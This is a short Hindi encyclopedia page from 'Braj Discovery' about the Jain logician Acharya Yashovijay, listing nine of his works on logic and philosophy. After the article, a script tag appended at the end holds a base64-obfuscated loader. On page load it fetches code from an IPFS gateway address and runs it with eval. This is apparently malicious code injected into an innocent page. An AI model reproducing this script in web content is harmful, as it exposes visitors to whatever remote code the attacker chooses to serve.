यशोविजय

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

आचार्य यशोविजय / Acharya Yashovijay

  • ये वि0 सं0 18वीं शती के प्रौढ़ तार्किक और नव्यन्याय शैली, दर्शन शास्त्र के महान दार्शनिक हैं।
  • इन्होंने निम्न तर्कग्रन्थ रचे हैं-
  1. अष्टसहस्री-तात्पर्यविवरण,
  2. जैन तर्कभाषा,
  3. न्यायलोक,
  4. ज्ञानबिन्दु,
  5. अनेकान्तव्यवस्था,
  6. न्यायखण्डनखाद्य,
  7. अनेकान्तप्रवेश,
  8. शास्त्रवार्तासमुच्चयटीका और
  9. गुरुत वविनिश्चय।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>